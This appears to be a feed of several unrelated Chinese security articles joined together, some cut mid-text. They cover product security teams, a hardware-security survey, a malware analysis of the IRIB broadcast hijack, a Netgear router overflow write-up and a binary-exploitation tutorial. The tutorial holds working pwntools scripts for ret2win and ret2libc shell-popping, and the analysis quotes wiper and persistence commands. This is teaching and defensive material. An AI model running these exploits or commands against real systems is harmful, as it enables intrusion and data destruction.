產品安全團隊/雲原生應用安全團隊安全團隊模式的最新成員是產品安全團隊。這些團隊的範圍更大，不僅包括應用程序代碼本身，還包括與產品有關的所有內容。最值得注意的是，兩個關鍵的新增功能是捕獲完整的CNAS範圍，並幫助在產品本身中構建安全功能。

完整的雲原生應用安全範圍擴展到包括CNAS範圍是將某些基礎架構風險重新思考為應用程序安全性的自然結果。如今，像容器和IaC這樣的技術都是由編寫自定義代碼、使用相同實踐和工具的相同開發人員驅動的。為了支持這一變化，AppSec團隊需要支持這些工程師成功地做到這一點。擁抱這個更廣泛範圍的團隊通常將自己稱為產品安全團隊。

這種擴展的CNAS範圍意味著產品安全團隊在軟件開發生命週期中的更大一部分內開展工作。包括更多的參與到生產部署甚至運維工作中，從而導致與更注重運營的雲安全團隊重疊。在實踐中，雲原生開發意味著雲安全同時受到開發和運維團隊的影響，產品安全團隊覆蓋前者。

請注意，許多核心應用程序安全團隊正在擴展以涵蓋完整的CNAS範圍，而無需正式更改其團隊名稱和任務。選擇和實施解決方案來掃描容器鏡像以查找漏洞並審核IaC文件越來越成為應用程序安全團隊的領域。雖然可以安全地假設產品安全團隊捕獲了這個完整的範圍，但這樣的重命名並不是絕對必要的，而且許多應用安全團隊在沒有這種聲明的情況下已經發展起來了。

產品安全功能與CNAS無關但仍然值得注意的一點是，產品安全團隊的參與具有更面向用戶的安全性部分：安全功能。隨著用戶對安全的重要性的認識不斷提高，許多產品都希望構建專用的安全功能，並通過它們實現差異化。確定哪些安全功能有價值需要一定程度的安全理解，開發團隊可能沒有，但安全團隊有。產品安全團隊通常在這裡扮演一個明確的角色，與產品經理（PM）合作，他們擁有完整的產品功能和價值主張，比以往任何時候都要多。

此職責在應用程序和安全團隊之間的關係中起著重要作用。安全控制是降低風險的一種手段，但能夠將此風險緩解作為安全功能提供意味著它可以幫助增加收入。增加收入是兩個團隊的另一個共同目標，而且比降低風險更明顯，這使得慶祝成功變得更加容易。

產品安全的演變產品安全是一個新的頭銜和範圍，並且仍在定義中。鑑於其範圍更廣，它通常是上級頭銜或大團隊，其中包括提到的其他團隊。在一些雲原生組織中，產品安全是首席安全官（CSO）的主要範圍，而其他一些組織則開始任命領導者為首席產品安全官（CSO）。

Atlassian首席信息安全官（CISO）AdrianLudwig說得最好，他說：“產品安全的目標是改善產品的安全狀況，並在內部向開發團隊代表客戶的安全期望”。 Twilio，Deliveroo和Snyk等其他公司也使用這個頭銜，我相信這是解決CNAS的正確方法。

DevSecOps團隊呢？

你可能已經註意到我沒有說出DevSecOps團隊的名字，這不是偶然的。與DevOps一樣，DevSecOps不是一個團隊;這是一項運動，旨在將安全性嵌入到核心開發和運營工作中。在我看來，它不應該是一個團隊的頭銜。

但是，就像DevOps團隊一樣，DevSecOps團隊也存在，他們的任務也大不相同。有時，他們實際上是一個雲安全團隊，專注於運營和運行時的安全性。其他時候，它們更像平台，其職責範圍類似於安全工程團隊。由於頭銜並不意味著一組特定的職責，因此DevSecOps團隊的職責範圍並不是可以真正定義的。

然而，所有這些團隊的共同點是他們具有前瞻性思維。 DevSecOps旨在改變我們做安全的方式，而DevSecOps團隊，無論其範圍如何，都始終將自己視為變革推動者。他們擁抱自動化和雲，更喜歡工程化的安全解決方案而不是開展審計工作，並致力於授權開發和運維團隊能夠自己保護自己的工作。

HireHackking

二進制代碼利用是發現和利用計算機程序中的漏洞以修改或乾擾其預期行為的一種方法。這些漏洞可能導致身份驗證繞過和信息洩漏，或者還可能導致遠程代碼執行情形。很大一部分二進制代碼利用發生在堆棧（stack）上，有時候發生在堆（heap）上，甚至發生在內核空間上。堆棧是存儲由函數創建的臨時變量的內存區域。相比之下，堆則是可以動態分配的內存區域。

下面介紹的所有技術都依賴用戶輸入和程序的潛在崩潰或分段錯誤——緩衝區溢出。當進程試圖用超出預期的過多數據填充一塊內存區域時，就會出現這種損壞。有鑑於此，就有可能覆蓋內存，並控制下一個指令點/函數。

接下來，我們將描述堆棧利用過程中一些最常用的技術。

ret2win我們可以將ret2win技術理解為對二進制代碼中存在的特定調用«win() function»的簡單重定向。實現這一目標的主要步驟如下：

• 找到目標函數/調用，以重定向執行流«win() function»。

• 通過覆蓋堆棧上的返回地址（比如EIP）來調用它。

下一段代碼介紹如何找到這類漏洞。在添加填充和對齊載荷之後，必須添加目標調用«win() function -0x080491c3»的偏移量，最後執行它。本文使用了用於二進制利用的CTF框架Pwntools（https://github.com/Gallopsled/pwntools），為學習過程提供便利。

frompwnimport*

p=process('./vuln_program')

payload=b'A'*52

payload+=p32(0x080491c3)#targetcall«win()function»

log.info(p.clean())

p.sendline(payload)

log.info(p.clean())有了這種技術，就可以在程序執行期間跳轉到所需的函數，從而繞過應用程序控制措施。

關於這個主題的更多細節可以在這裡找到：https://corruptedprotocol.medium.com/rop-emporium-ret2win-x86-64-44a1cacb546。

ret2libcret2libc是一種技術，其中重定向流基於到libc調用的面向返回的編程（ROP）鏈。這種方法對於繞過一些二進制代碼保護（比如NX即無執行）很重要，在Windows操作系統中又稱為數據執行預防（DEP）。

在二進制代碼被利用的操作系統上找到libc的內存區域之後，必須基於libc的基址計算一些函數（包括系統調用）的實際地址。系統調用執行作為參數傳遞的任何字符串。傳遞給系統調用的最佳字符串是“/bin/sh”，這顯然會彈出新的系統shell。

下面是表示這種探索的代碼片段。正如我們所見，libc基址高亮顯示為0x7ffff7de5000，並用於計算二進制內存區域內的system和/bin/sh字符串。

之後執行ROP鏈，它因二進制漏洞、目標操作系統、架構及其他外部變量而異。

frompwnimport*

p=process('./vuln-64')

libc_base=0x7ffff7de5000#libcbaseaddressneeded

system=libc_base+0x48e20#addressofsystemcall

binsh=libc_base+0x18a143#binshstringtopopashell

POP_RDI=0x4011cb

payload=b'A'*72#Thepadding

payload+=p64(POP_RDI)#gadget-poprdi;ret

payload+=p64(binsh)#pointertocommand:/bin/sh

payload+=p64(system)#Locationofsystem

payload+=p64(0x0)#returnpointer-notimportantoncewegettheshell

p.clean()

p.sendline(payload)

p.interactive()關於該技術的更多細節以及如何探索它，可以在這裡找到：https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/ret2libc。

格式字符串格式字符串技術在每當將用戶輸入字符串作為命令來評估時都會發生。這種技術可用於執行代碼、洩漏堆棧，甚至導致分段錯誤情形。

比如說，格式字符串參數%x和%s定義了格式函數的轉換類型。針對諸如此類的輸入，可能會洩露內存部分信息，這種方法還可以與上述的ret2lic一起使用。

下表給出了經常用於這種攻擊中的一些格式函數。

1.png

看看下一段C代碼，print函數易受攻擊，因為默認情況下參數函數（%p和%s等）並未指定。因此，用戶可以在輸入中指定它，從而充分利用這個二進制利用場景。

#include

voidmain(intargc,char**argv)

{

//Thislineisvulnerable,noparameterspecified(%p,%s,etc)

printf(argv[1]);

}在使用一堆%p執行程序後，堆棧地址將被洩漏，並且可以輕鬆找到執行ret2lic方法的lib基址。

./example'HelloWorld%p%p%p%p%p%p'

=output:HelloWorld000E133E000E133E0057F000CCCCCCCCCCCCCCCCCCCCCCCC關於該技術的更多細節可以在這裡找到：https://owasp.org/www-community/attacks/Format_string_attack。

流行的二進制代碼利用技術二進制代碼利用是滲透測試界利用內存不安全程序的最先進的攻擊之一。由於二進制代碼本身、保護機制以及它如何與不同的操作系統和多種架構進行交互具有復雜性，學習起來可能令人望而生畏。

HireHackking

CPU_Processor-e1551372800619.jpeg

遠程勞動力、混合雲和零信任趨勢正在推動安全團隊專注於硬件輔助安全策略，以更好地保護因新冠病毒而發生重大變化的攻擊面。

為了應對新的挑戰，硬件輔助安全被視為獲得IT生態系統可見性、管理數字資產以及降低安全團隊和計算成本的有效的創新方式。這些發現來自英特爾贊助的Ponemon Institute最近的一項調查。

根據這項研究：“由於遠程業務的發展，組織被迫在幾乎沒有預先警告的情況下改變其網絡安全實踐。”53%的受訪者表示，他們IT堆棧中與新冠病毒相關的變化迫使他們更新安全策略。

這一轉變的核心是尋求創新的新方法來管理基礎設施和端點蔓延。最近的漏洞Log4J、ProxyShell和ZeroLogon都強調了這一新動態。在每個零日實例中，安全團隊必須爭先恐後地查看生態系統中哪些可能易受攻擊，需要先修補。

這項對1406名IT專業人員的研究旨在探索採用該技術的公司和考慮採用相關解決方案的公司對硬件輔助安全的態度。該研究還探討了硬件輔助安全如何幫助組織加強安全工作。

什麼是硬件輔助安全？硬件輔助安全（HAS）解決了大型網絡基礎設施中資產可見性的業務挑戰，它使安全團隊能夠更快地發現和修復漏洞。硬件安全性通過設備組件固件或軟件實現這一點，這可以通過虛擬機管理程序和其他網絡監控工具實現更高級別的可見性。

硬件輔助的主要安全組件包括：

控制-流量執法技術（高級惡意軟件保護）

硬件遙測以通知惡意信號（威脅偵察）

加密和加速（安全設備訪問）

端點身份驗證和可信平台模塊芯片（端點身份驗證）

通過HAS在應對威脅中佔據上風可見性和緩解響應是關鍵，Log4J等新出現的威脅以及與漏洞相關的看不見的錯誤就說明了這一點。在這兩種情況下，資產可見性和快速緩解響應時間對於防止攻擊至關重要。

英特爾和Ponemon發現，受訪者認為資產可見性是應對威脅的重要組成部分。安全團隊經常因缺乏對組織整個網絡的可見性而受到阻礙。 HAS允許資源緊張的安全團隊依靠自動化工具來增強安全團隊的網絡管理能力。

研究發現：“威脅環境的快速復雜要求組織領先安全更新一步。”大約一半的受訪者（48%）表示，他們對新披露的漏洞和補丁有足夠的可見性。

這種安全方法與Ponemon的發現相吻合，Ponemon的發現顯示，公司正在尋找創新的新方法來解決現代IT堆棧。 41%的受訪者將自動化和40%的受訪者將應對當今可見性和管理挑戰列為頂級安全創新。

英特爾客戶安全戰略和倡議副總裁兼總經理Tom Garrison說：“沒有可見性和透明度，就沒有信任。”

創新如何降低成本新的遠程勞動力和雲趨勢為對手創造了一場完美的風暴。

這一現實包括遍布混合雲基礎設施的蔓延攻擊面，並將數千個端點和數字資產連接在一起。隨著攻擊表面的增長，網絡管理員和安全團隊面臨的挑戰就是跟踪資產並減少漏洞。

48%的受訪者表示，他們的安全團隊每週就花費17個小時來繪製物聯網設備上的已知漏洞。而HAS中的自動化工具可以簡化這些工作，使安全團隊能夠專注於緩解和漏洞發現。這可以減少安全團隊的工作量，減少員工的倦怠，並降低與安全人員配置相關的成本——同時讓員工專注於減輕真正的威脅，而不是“假陽性”。

據65%採用該技術的公司稱，Ponemon在其研究中排除了這一點，受訪者分享了HAS通過矽水平的硬件資產自動庫存簡化了資產可見性和漏洞暴露。

能見度至關重要，但有時可能目光短淺許多公司仍然難以在子操作系統層面繪製IT資產的已知漏洞。 52%的受訪者表示，他們根據最新的微代碼和CPU更新跟踪設備的安全性，但其餘的則沒有。沒有這種級別的跟踪，組織可能會為BIOS和固件級別的子操作系統惡意軟件攻擊或惡意代碼的持續存在打開大門。

69%的受訪者表示，硬件和固件安全解決方案使漏洞管理更加有效。根據這項研究，“在那些使用硬件和固件安全解決方案的組織中，58%的受訪者表示，他們的組織可以很好地或顯著地了解他們的硬件和固件是否處於已知良好狀態。”

抵消零信任身份驗證成本其他成本考慮因素包括與通過加密進行設備身份驗證所需的支持硬件的加速器相關的成本節約。 36%的受訪者表示，硬件是他們組織端點（PC/IoT）安全戰略的一部分。隨著公司更加重視零信任解決方案，相關計算成本可能會增加。

研究發現，在採用硬件安全的公司中，32%的企業已經實施了零信任解決方案。根據該研究，“隨著組織採用新的安全技術，硬件輔助安全補充了現有協議，並加強了整體安全衛生。”

硬件安全可以允許組織利用支持硬件的加速器來抵消加密成本，從而降低基於加密的身份驗證的計算成本。

根據這項研究，38%的受訪者表示，他們利用硬件加速器來抵消加密成本。 26%的人表示，他們部署了硬件或支持矽的加速器，以抵消在啟用訪問之前驗證端點的成本。

在尋求不斷變化的威脅格局的創新解決方案的組織中，從業者的滿意度和對HAS解決方案的看法非常強烈。 36%的調查受訪者表示，他們的組織採用了硬件輔助安全解決方案，47%的人表示，他們的組織將在未來六個月內採用HAS解決方案。

受訪者告訴英特爾和Ponemon，今天的威脅環境要求“組織在網絡安全實踐中具有敏捷性和創新性”。

HireHackking

1645248957185071.png

在過去的幾個月裡，伊朗遭遇了新一輪的網絡攻擊。這些攻擊不僅僅是對網站進行攻擊那麼簡單，這輪攻擊正在對伊朗的國家基礎設施持續進行攻擊，並造成了重大破壞。

本文對2022 年1 月下旬發生的針對伊朗國家媒體公司——伊朗伊斯蘭共和國廣播公司(IRIB) 的攻擊進行了深入分析。

情況介紹1 月27 日，伊朗國家廣播公司IRIB 被攻擊，導致多個國營電視頻道播放反對派領導人的鏡頭，並呼籲暗殺最高領導人。 Check Point 研究團隊調查了這次攻擊，並能夠從公開可用的資源中檢索與該事件相關的文件和取證證據。

我們發現了旨在傳播抗議信息的惡意可執行文件，此外，我們還發現了使用擦除惡意軟件痕蹟的證據。這表明攻擊者的目的也是為了破壞國家的廣播網絡，對電視和廣播網絡的破壞可能比官方報導的更嚴重。

在攻擊中使用的工具中，我們發現了對受害者屏幕進行截圖的惡意軟件、幾個自定義的後門，以及用於安裝和配置惡意可執行文件的相關批處理腳本和配置文件。我們找不到任何證據表明這些工具以前被使用過，或者將它們歸因於特定的攻擊者。

在本文中，我們對與攻擊相關的工具以及攻擊者使用的策略進行了技術分析。

早在2021 年7 月，伊朗國家鐵路和貨運服務就遭到過攻擊，攻擊者對火車運行進行了攻擊。僅僅一天后，媒體報導稱，負責交通的伊朗道路和城市發展部的網站因“網絡中斷”而被關閉，用戶無法訪問其官方門戶和子服務。此後，網絡攻擊就開始持續攻擊伊朗國家實體，似乎每個目標都經過精心挑選的。 2021 年8 月，黑客組織Tapandegan發布了來自德黑蘭監獄的埃文監獄的鏡頭畫面，該監獄關押了許多政治犯。 2021 年10 月，伊朗的加油站因電子支付系統被攻擊而癱瘓。該事件導致加油站排了兩天的隊，客戶無法使用政府發行的用於購買補貼燃料的電子卡付款。刷卡付款時，最高領導人辦公室的電話號碼出現在屏幕上。

2021 年11 月，伊朗航空公司Mahan Air 宣布挫敗了對其內部系統的未遂攻擊，沒有造成任何傷害。奇怪的是，這一次一個名為“Hooshyaran-e Vatan”（國家警衛隊）的組織聲稱對此負責，並在接下來的兩個月中公佈了據稱在黑客攻擊中被盜的文。

2022 年2 月7 日，Edalat-e Ali 組織公佈了伊朗另一所監獄Ghezel Hesar的監控錄像。

1.jpeg

1 月27 日，有報導稱伊朗國家廣播公司IRIB 遭到黑客攻擊。伊朗伊斯蘭共和國廣播公司，也被稱為“伊朗伊斯蘭共和國的聲音和願景”，是一家國有壟斷企業，負責伊朗的所有廣播和電視服務。網絡攻擊導致國營電視頻道都在播放該國的政治反對派組織。

在被劫持的視頻中，出現了反對派組織領導人Maryam 和Masoud Rajavi 的面孔。 IRIB 技術事務副負責人Reza Alidadi 表示，“只有公司使用技術的所有者才能根據系統上安裝的系統功能和被利用的後門進行攻擊的。”類似的攻擊已經攻擊了其他國家運營的廣播頻道。

2 月1 日，IRIB 的網絡流媒體平台Telewebion 再次被劫持，播放抗議信息。這一次，對針對監獄安全攝像頭的攻擊負責的具有政治動機的組織Edalat-e Ali 聲稱對此負責。這種說法是有道理的，因為黑客攻擊期間的視頻廣播在左上角顯示了該組織的徽標。

技術分析根據伊朗國家新聞網絡Akharin Khabar稱，“技術和廣播系統是完全隔離的，它們配備了可接受的安全協議，無法通過互聯網訪問。”伊朗官員稱這次攻擊“極其複雜”。

目前還不清楚攻擊者是如何進入這些網絡的。我們只能檢索到與這些攻擊的後期階段有關的文件，這些文件有：

建立後門及其持久性；

啟動“惡意”視頻或音頻軌道；

安裝wiper惡意軟件以試圖破壞被黑網絡中的操作；

所有這些示例都從多個來源上傳到VirusTotal (VT)，主要使用伊朗IP，並包括安裝或啟動有效負載的短批處理腳本、Windows 事件日誌文件或內存轉儲等幾個取證工件，以及有效負載本身。後者主要是.NET 可執行文件，沒有混淆，但帶有時間戳的未來編譯日期。除了具有相同的語言和相同的VT 提交者之外，這些文件還具有其他相似之處，例如PDB 路徑、常用命令、名稱、代碼重用和通用編碼風格。

劫持廣播信號從用於中斷電視流並作為TSE_90E11.mp4 上傳到VT 的MP4 視頻文件中，我們能夠轉向與廣播劫持相關的其他工件，這些工件據稱運行在播放電視節目播出的服務器上。為了播放視頻文件，攻擊者使用了一個名為SimplePlayout.exe 的程序，這是一個基於.NET 的可執行文件，在調試模式下編譯，PDB 路徑為c:\work\SimplePlayout\obj\Debug\SimplePlayout.pdb。該可執行文件只有一個功能：通過Medialooks使用. net MPlatform SDK循環播放視頻文件。

2.png

首先，SimplePlayout程序尋找一個名為SimplePlayout.ini的配置文件，該配置文件包含兩行：視頻文件路徑和表示視頻格式的數字。相應的SimplePlayout.ini文件與SimplePlayout一起上傳的值對應於位於c: windows\temp\TSE_90E11.mp4的MP4文件和HD 1080i的視頻格式，刷新率為50 Hz。

為了阻止已經播放的視頻流，攻擊者使用了一個名為playjfalcfgcdq.bat 的批處理腳本。它會阻止正在運行的進程並刪除TFI Arista Playout Server 的可執行文件，這是一種已知IRIB 用於廣播的軟件，隨後卸載Matrox DSX 驅動程序，這是虛擬廣播基礎設施中用於媒體處理的軟件的一部分。

為了組合所有的惡意組件，另一個腳本layoutabcpxtveni.bat做了以下幾件事：

將位於c:\windows\temp\TSE_90E11.003 的MP4 視頻文件重命名為TSE_90E11.mp4。這個文件可能是通過某個後門釋放到那裡的，我們稍後會討論這個問題。

阻止QTV.CG. server .exe(可能是Autocue QTV廣播軟件的一部分)的運行進程，並用SimplePlayout(攻擊者用來播放視頻的工具)覆蓋位於D: CG 1400\QTV.CG. server .exe的原始服務器。

將c:\windows\SimplePlayout.exe拷貝到QTV.CG.Server.exe所在目錄下的SimplePlayout.ini。至少這個批處理腳本示例包含一個拼寫錯誤，因為攻擊者可能打算將SimplePlayout.ini複製到惡意可執行文件附近。

從初始位置和替換位置運行SimplePlayout.exe。

在我們發現的另一組相關工件中，攻擊者利用了包含名為TSE_90E11.001 的25 秒音軌的WAV 文件，類似於被劫持的電視流中使用的MP4 文件的文件名。一個名為Avar.exe 的可執行文件基於NAudio，一個開源的.NET 音頻庫，負責播放WAV 文件。與SimplePlayout.exe 不同，Avar.exe 不依賴於配置文件。相反，它包含硬編碼為C:\windows\temp\TSE_90E11.001 的WAV 文件的路徑。執行後，Avar.exe 會嘗試枚舉所有活動的音頻設備並在每個設備上播放WAV 文件。

最後，一個名為avapweiguyyyy .bat的批處理腳本將這些組件組合在一起。它阻止一個名為Avar.exe的進程，並在C:\ProgramFiles\MIT\AVA\ava.exe中用Avar.exe替換可執行文件。在文件和文件夾中使用的名字Ava可能表明這些文件是為IRIB的Ava電台準備的，儘管它也受到了這次攻擊的影響，這一事實尚未得到官方證實。

wiper我們發現了兩個相同的.NET 示例，名為msdskint.exe，其主要目的是擦除計算機的文件、驅動器和MBR，這也可以從PDB 路徑推導出：C:\work\wiper\Wiper\obj\Release\Wiper.pdb。此外，該惡意軟件還能夠清除Windows 事件日誌、刪除備份、終止進程、更改用戶密碼等。兩個示例均由相同的提交者在與先前討論的工件相同的時間範圍內上傳到VT。

3.png

wiper有三種模式來破壞文件，並用隨機值填充字節：

Default-覆蓋文件中每個1024 字節塊的前200 字節；

light-wipe-覆蓋配置中指定的多個塊；

full_purge-覆蓋整個文件內容；

wiper通過以下方式之一獲取擦除過程的配置：在命令行參數中，或從文件code meciwipe.ini /code 中的硬編碼默認配置和排除列表中獲取。默認配置包含一個與Windows操作系統和Kaspersky 和Symantec 安全產品相關的預定義排除列表，這些產品在伊朗被廣泛使用：

4.png

如果惡意軟件沒有參數，它將作為一個名為“Service1”的服務運行。

主要的wiper函數會計算每個參數的FNV1A32哈希並使用它來確定接下來的行為：

5.png

DestroyMBR標誌使惡意軟件可以通過寫入一個硬編碼的base64編碼的二進製文件precg.exe，然後運行它來擦除MBR。 precg.exe 是一個基於Gh0stRAT MBR wiper的MBRKiller。

擦除過程從搜索最後一個被擦除的文件開始，惡意軟件將其路徑寫入名為lastfile 的文件（或在wipe_stage_2 的情況下為lastfile2）。然後，檢查每個文件以查看它是否被排除或其擴展名不在預定義列表中：

6.png

full_purge模式覆蓋文件的所有字節，對於來自的purge_extensions列表的文件總是啟用：

7.png

如果啟用了delete_files 標誌，則wiper還會在覆蓋文件後刪除它們。

我們發現了與wiper示例一起提交的其他取證工件，證明wiper確實是在電視環境中執行的：

lastfile2 包含最後一個擦除文件的路徑：C:\users\tpa\videos\captures\desktop.ini。僅當wiper以wipe_stage_2模式運行時，才會創建此文件，該模式會在wiper過程之後刪除文件。

breakusufjkjdil.bat 文件，顯示至少一個wiper實例應該運行以終止現有用戶會話並更改所有用戶的密碼：'c:\windows\temp\msdskint.exe' -break-users * -sessi。

事件查看器應用程序日誌文件顯示與擦除服務Service1 相關的事件。日誌包含攻擊後幾個小時的時間戳：

8.png

後門WinScreeny此工具的名稱來自PDB 路徑：C:\work\winscreeny\winscreeny\obj\Debug\winscreeny.pdb。該後門的主要目的是對受害者的計算機進行截屏。我們找到了這個後門的兩個示例：第一個是上傳到VT的發布版本，名為mslicval.exe，第二個是名為precg2.exe的調試版本。不用說，這些文件和我們發現的其他工件一起提交給了VT。

根據命令行參數，後門可以以不同的方式運行：

None-運行一個SimpleTCPServer 偵聽端口18000。

Service-作為名為Service1 的服務運行。啟動時，該服務使用以下命令創建計劃任務： schtasks /create /TN \'Microsoft\\Windows\\.NET Framework\\.NETASM\'/TR \” file_path \' /ST current_time + 1:10 /SC ONCE /F。

Setup-嘗試使用LsaAddAccountRights API 函數獲取權限，然後將自身作為服務運行。

惡意軟件在端口18000 上偵聽數據包，並且對於每個數據包，它會檢查消息是否包含使用POST 方法發送的scr=命令。如果滿足這些條件，惡意軟件會將屏幕截圖保存到名為screeny- timestamp .png 的文件中，如果成功，則會向攻擊者返回“完成”消息。

9.png

有趣的是，該惡意軟件的發布版本還能夠執行命令：它支持s=命令，該命令獲取一個base64 編碼的字符串與1 字節密鑰0x24 進行異或運算。解碼後的字符串由cmd運行，執行結果返回給服務器。處理這個特性的代碼也在我們稍後討論的HttpService 後門中被重用。

HttpCallbackServiceHttpCallbackService是一個遠程管理工具(RAT)，有一個熟悉的PDB路徑：C:\work\simpleserver\HttpCallbackService\obj\Release\HttpCallbackService. PDB。它的CC URL可以用兩種不同的方式指定：命令行參數或配置文件callservice.ini。接下來，接收到的值會附加一個短字符串：m=如果URL 以“.aspx”或“.php”結尾； m=，如果URL 以“/”結尾，或者/m=在任何其他情況下。

不幸的是，我們沒有找到任何與HttpCallbackService 相關的配置或其他工件，因此這次攻擊中的CC 服務器仍然未知。

每隔5秒，HttpCallbackService使用webClient向CC URL發送一個請求。 DownloadString方法接收由' \r\n '分割的命令列表。如果惡意軟件在過去的5分鐘內沒有收到任何命令，並且isStayAliveMode標誌被禁用，這個時間幀將增加到1分鐘。

這些是RAT 支持的命令：

10.png

當命令的結果上傳到服務器時，數據被發送到一個稍微不同的URL：之前定義的CC URL，現在附加了“1”。 使用以下格式的WebClient.UploadValues 方法發送數據：

download=file_name \r\n--------------\r\n base64 of chunk 用於下載命令；

command \r\n--------------\r\n result 用於cmd 命令；

HttpService

HttpService 是另一個偵聽指定端口的後門：它可以是命令行參數、取決於示例的預定義端口或配置文件中的值： exe_name .ini。我們發現了幾個默認端口為19336、19334、19333 的示例，以及上傳到VT 的兩個不同的配置文件，值分別為19336 和19335。

每個示例都有一個硬編碼版本。我們發現的文件屬於三個不同的版本：0.0.5、0.0.11v4H 和0.0.15v4H。 0.0.5 版本使用Simple TCP 服務器偵聽指定端口，而0.0.11v4H 和0.0.15v4H 版本基於Simple HTTP Server。它們都使用HTML Agility Pack 進行HTML 解析，使用IonicZip 庫進行壓縮操作。

後門的最高版本（0.0.15v4H）具有多種功能，包括命令執行和文件操作。

命令執行：命令“cmd”使後門通過cmd.exe運行指定命令，並以如下格式返回結果： div style='color: red' result_string /div 。此外，後門可以在收到“i=”命令時啟動交互式cmd shell，其參數可以是：

“1”–從shell 獲取輸出並將其發送回CC。

“2”–結束交互式shell 並清理。

Default-解碼和解密異或字符串，然後在shell 中運行命令並保存輸出。

與WinScreeny 類似，該惡意軟件也具有“s=”命令，其中字符串異或與1 字節密鑰0x24 作為參數。解碼後的字符串由cmd.exe 運行並將結果返回給服務器。

代理連接：收到“p=”或“b=”命令後，後門使用受害者的計算機作為它作為參數獲取的URL 的代理。後門與此URL 通信，重定向CC 服務器的請求，並等待響應將其發送回CC。

下載和上傳文件：“f=”或“1=”命令允許後門從作為參數給定的路徑下載文件，或者將作為參數給定的文件與消息正文的內容一起寫入。在收到“m=”命令後，惡意軟件將消息內容寫入路徑base_directory client_address .out，從base_directory client_address .in 中讀取數據，並將其發送給CC。如果該文件不存在，惡意軟件會創建該文件並將當前日期和時間寫入其中。

運行SQL 命令：“con=”/“c=”命令接收SQL DB 連接字符串和SQL 查詢，並將結果返回給服務器。

操作本地文件：“ path ”命令檢查文件/目錄是否存在，然後根據查詢值執行以下三個運行：

' zip ' -從目錄內容創建一個zip文件，並將其返回給CC；

' unzip ' -使用CC提供的路徑解壓縮文件；

“del”-刪除文件。

有趣的是，在所有這三種情況下，惡意軟件都會將整個目錄內容（包括子目錄）作為HTML 頁面返回，其中包含Zip、Unzip 和Delete 按鈕，具體取決於文件的類型。這是攻擊者端的接口：

11.png

ServerLaunch滴管HttpServer 版本0.0.5 的示例連同其dropper（稱為dwDrvInst.exe）一起提交，它模仿DameWare 可執行的遠程訪問軟件。該工具的PDB 路徑具有相同的模式，C:\work\ServerLaunch\Release\ServerLaunch.pdb。但是，該工具是用C++ 編寫的，而不是像所有其他工具一樣的.NET，並且是在2021 年12 月2 日編譯的，大約是攻擊前2個月。

ServerLaunch 在資源中包含三個可執行文件，分別位於C:\Users\Public\ 中的ionic.zip.dll、httpservice2 和httpservice4。然後惡意軟件不帶任何參數地啟動httpservice2 和httpservice4。它們每個都有一個不同的預定義端口來監聽，這可能允許攻擊者確保CC 通信的某種冗餘。

攻擊中涉及的文件我們已經討論了幾種不同的工具以及與其執行相關的一些工件。很明顯，所有這些工具都是由同一個攻擊者創建並相互關聯的。例如，屏幕截圖工具Winscreeny 不包含將創建的屏幕截圖上傳回攻擊者的功能，這可能意味著它依賴其他後門來執行此操作。所有工具的重複出現的Service1 名稱表明不同的後門，如果在同一台設

HireHackking

簡介在這篇文章中，我們將為讀者詳細介紹我們的小組成員Alex Plaskett、Cedric Halbronn和Aaron Adams於2021年9月發現的一個基於堆棧的溢出漏洞，目前，該漏洞已通過Netgear的固件更新得到了相應的修復。

該漏洞存在於KC_PRINT服務（/usr/bin/KC_PRINT），該軟件默認運行於Netgear R6700v3路由器上。雖然這是一個默認服務，但只有啟用ReadySHARE功能（即打印機通過USB端口物理連接到Netgear路由器）時，該漏洞才有可能被觸發。由於該服務不需要進行任何配置，因此，一旦打印機連接到路由器，攻擊者就利用默認配置下的這個安全漏洞。

此外，攻擊者還能在路由器的局域網端利用這個安全漏洞，並且無需經過身份驗證。如果攻擊得手，攻擊者就能在路由器上以admin用戶（具有最高權限）的身份遠程執行代碼。

我們的利用方法與這裡（https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Tokyo_2019/tokyo_drift/tokyo_drift.md）使用的方法非常相似，只是我們可以修改admin密碼並啟動utelnetd服務，這使我們能夠在路由器上獲得具有特權的shell。

儘管這里分析和利用的是V1.0.4.118_10.0.90版本中的安全漏洞（詳見下文），但舊版本也可能存在同樣的漏洞。

注意：Netgear R6700v3路由器是基於ARM（32位）架構的。

我們將該漏洞命名為“BrokenPrint”，這是因為“KC”在法語中的發音類似於“cassé”，而後者在英語中意味著“broken”。

漏洞詳情關於ReadySHARE這個視頻對ReadySHARE進行了很好的介紹，簡單來說，借助它，我們就能通過Netgear路由器來訪問USB打印機，就像打印機是網絡打印機一樣。

1.png

到達易受攻擊的memcpy()函數需要說明的是，雖然KC_PRINT二進製文件沒有提供符號信息，卻提供了很多日誌/錯誤函數，其中包含一些函數名。下面顯示的代碼是通過IDA/Hex-Rays反編譯得到的代碼，因為我們沒有找到這個二進製文件的開放源代碼。

KC_PRINT二進製文件創建了許多線程來處理不同的特性：

1.png

我們感興趣的第一個線程處理程序是地址為0xA174的ipp_server()函數。我們可以看到，它會偵聽端口631；並且接受客戶端連接後，它會創建一個新線程，以執行位於0xA4B4處的thread_handle_client_connection()函數，並將客戶端套接字傳遞給這個新線程。

void__noreturnipp_server()

{

//[COLLAPSEDLOCALDECLARATIONS.PRESSKEYPADCTRL-'+'TOEXPAND]

addr_len=0x10;

optval=1;

kc_client=0;

pthread_attr_init(attr);

pthread_attr_setdetachstate(attr,1);

sock=socket(AF_INET,SOCK_STREAM,0);

if(sock0)

{

.

}

if(setsockopt(sock,1,SO_REUSEADDR,optval,4u)0)

{

.

}

memset(sin,0,sizeof(sin));

sin.sin_family=2;

sin.sin_addr.s_addr=htonl(0);

sin.sin_port=htons(631u);//listensonTCP631

if(bind(sock,(conststructsockaddr*)sin,0x10u)0)

{

.

}

//acceptupto128clientssimultaneously

listen(sock,128);

while(g_enabled)

{

client_sock=accept(sock,addr,addr_len);

if(client_sock=0)

{

update_count_client_connected(CLIENT_CONNECTED);

val[0]=60;

val[1]=0;

if(setsockopt(client_sock,1,SO_RCVTIMEO,val,8u)0)

perror('ipp_server:setsockoptSO_RCVTIMEOfailed');

kc_client=(kc_client*)malloc(sizeof(kc_client));

if(kc_client)

{

memset(kc_client,0,sizeof(kc_client));

kc_client-client_sock=client_sock;

pthread_mutex_lock(g_mutex);

thread_index=get_available_client_thread_index();

if(thread_index0)

{

pthread_mutex_unlock(g_mutex);

free(kc_client);

kc_client=0;

close(client_sock);

update_count_client_connected(CLIENT_DISCONNECTED);

}

elseif(pthread_create(

g_client_threads[thread_index],

attr,

(void*(*)(void*))thread_handle_client_connection,

kc_client))

{

.

}

